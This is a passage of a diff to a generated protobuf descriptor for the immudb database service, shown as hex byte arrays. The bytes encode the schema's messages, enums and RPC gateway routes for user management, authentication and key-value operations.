0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, + 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, + 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, + 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, + 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, + 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, + 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, + 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, + 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, + 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, + 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, + 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, + 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, + 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, + 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, + 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, + 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, + 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, + 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, + 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, + 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x6c, 0x0a, 0x0c, 0x53, 0x51, + 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x55, 0x4e, + 0x4b, 0x4e, 0x4f, 0x57, 0x4e, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x45, 0x4c, 0x45, 0x43, + 0x54, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x10, 0x02, 0x12, + 0x0a, 0x0a, 0x06, 0x49, 0x4e, 0x53, 0x45, 0x52, 0x54, 0x10, 0x03, 0x12, 0x0a, 0x0a, 0x06, 0x55, + 0x50, 0x44, 0x41, 0x54, 0x45, 0x10, 0x04, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x45, 0x4c, 0x45, 0x54, + 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x44, 0x52, 0x4f, 0x50, 0x10, 0x06, 0x12, 0x09, 0x0a, + 0x05, 0x41, 0x4c, 0x54, 0x45, 0x52, 0x10, 0x07, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, + 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, + 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, + 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, + 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, + 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, + 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, + 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, + 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, + 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xbb, 0x36, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, + 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, + 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, + 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, + 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, + 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x3a, 0x01, 0x2a, 0x22, 0x05, 0x2f, 0x75, 0x73, + 0x65, 0x72, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, + 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, + 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, - 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, 0x15, 0x2f, + 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, + 0x61, 0x6e, 0x67, 0x65, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, + 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, + 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4f, 0x0a, 0x0a, 0x54, 0x78, - 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, - 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, - 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x30, 0x01, 0x12, 0x5d, 0x0a, 0x05, 0x4c, - 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x19, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, 0x2a, 0x22, - 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x88, 0x02, 0x01, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, - 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x3a, 0x01, 0x2a, 0x22, - 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x88, 0x02, 0x01, 0x12, 0x4d, 0x0a, 0x03, 0x53, - 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x3a, 0x01, - 0x2a, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x12, 0x4d, 0x0a, 0x03, - 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, - 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, 0x64, - 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, - 0x12, 0x5d, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, 0x01, 0x2a, - 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x6b, 0x65, 0x79, 0x12, - 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, - 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, - 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, - 0x6c, 0x6c, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, - 0x63, 0x61, 0x6e, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, - 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, - 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, - 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, - 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, + 0x3a, 0x01, 0x2a, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, + 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x92, 0x01, 0x0a, 0x13, + 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, + 0x67, 0x65, 0x73, 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, + 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2a, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, + 0x65, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x24, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x1e, 0x3a, 0x01, 0x2a, 0x22, 0x19, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, + 0x6e, 0x67, 0x65, 0x73, 0x71, 0x6c, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, + 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, + 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, + 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x4a, + 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, + 0x54, 